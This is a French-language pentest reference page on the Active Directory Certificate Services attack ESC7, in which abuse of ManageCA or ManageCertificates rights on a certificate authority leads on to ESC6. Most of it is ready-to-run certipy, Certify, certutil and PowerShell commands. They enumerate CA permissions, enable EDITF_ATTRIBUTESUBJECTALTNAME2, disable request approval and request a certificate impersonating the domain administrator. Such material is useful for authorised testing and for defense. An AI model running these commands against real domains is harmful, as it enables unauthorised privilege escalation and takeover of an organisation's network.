ESC7
Description¶
ESC7 exploite des permissions excessives sur l'autorité de certification elle-même, permettant à un utilisateur de définir le flag EDITF_ATTRIBUTESUBJECTALTNAME2 via l'interface de gestion à distance ou de désactiver l'approbation des certificats, créant ainsi artificiellement les conditions pour d'autres attaques (comme ESC6).
Conditions vulnérables¶
Une CA est vulnérable à ESC7 si :
- Permissions de gestion sur la CA - L'utilisateur a les droits
ManageCAouManageCertificates - Accès aux interfaces de gestion - Possibilité d'utiliser
certutil, MMC, ou les interfaces distantes - Templates d'authentification disponibles - Des modèles permettant l'authentification existent
- Pas de protection additionnelle - Absence de monitoring ou de restrictions sur les modifications de configuration
Exploitation depuis linux (certipy)¶
Enumération des permissions sur les CAs :
certipy find -u [email protected] -p password -target dc01.domain.local
# Énumération avec focus sur les permissions CA
certipy find -u [email protected] -p password -target dc01.domain.local -json -output ca_permissions.json
# Recherche spécifique des permissions ManageCA
certipy find -u [email protected] -p password -target dc01.domain.local -vulnerable | grep -A10 -B5 "ManageCA\|ManageCertificates"
Activation du flag EDITF_ATTRIBUTESUBJECTALTNAME2 :
# Tentative de modification de la configuration CA via certipy
certipy ca -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -enable-user-specified-san
# Vérification que le flag est maintenant activé
certipy find -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA'
Exploitation post-modification (ESC6) :
# Maintenant que EDITF_ATTRIBUTESUBJECTALTNAME2 est activé, exploitation ESC6
certipy req -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -template 'User' -upn [email protected]
Désactivation de l'approbation manuelle :
certipy ca -u [email protected] -p password -target dc01.domain.local -ca 'domain-DC01-CA' -disable-request-approval
Exploitation depuis windows (certutil + PowerShell)¶
Enumération des permissions sur les CAs :
# Énumération des modèles et CAs vulnérables
Certify.exe find /vulnerable
# Recherche spécifique des permissions ManageCA
Certify.exe find /vulnerable | findstr "ManageCA\|ManageCertificates"
# Vérification manuelle des permissions
icacls "C:\Windows\System32\CertSrv" /T
Modification de la configuration CA :
# Activation du flag EDITF_ATTRIBUTESUBJECTALTNAME2 (nécessite ManageCA)
certutil -setreg CA\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
# Vérification de l'activation
certutil -getreg CA\EditFlags
# Redémarrage du service CA pour appliquer les changements
Restart-Service CertSvc
Modification des politiques d'approbation :
# Désactivation de l'approbation manuelle sur tous les modèles
certutil -setreg CA\RequestDisposition 1
# Ou modification spécifique via registre
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\*" -Name RequestDisposition -Value 1
Exploitation post-modification :
# Exploitation ESC6 maintenant possible
Certify.exe request /ca:DC01.domain.local\domain-DC01-CA /template:User /altname:administrator@domain.local
# Ou modification de templates existants (si permissions suffisantes)
certutil -SetCATemplates +VulnerableTemplate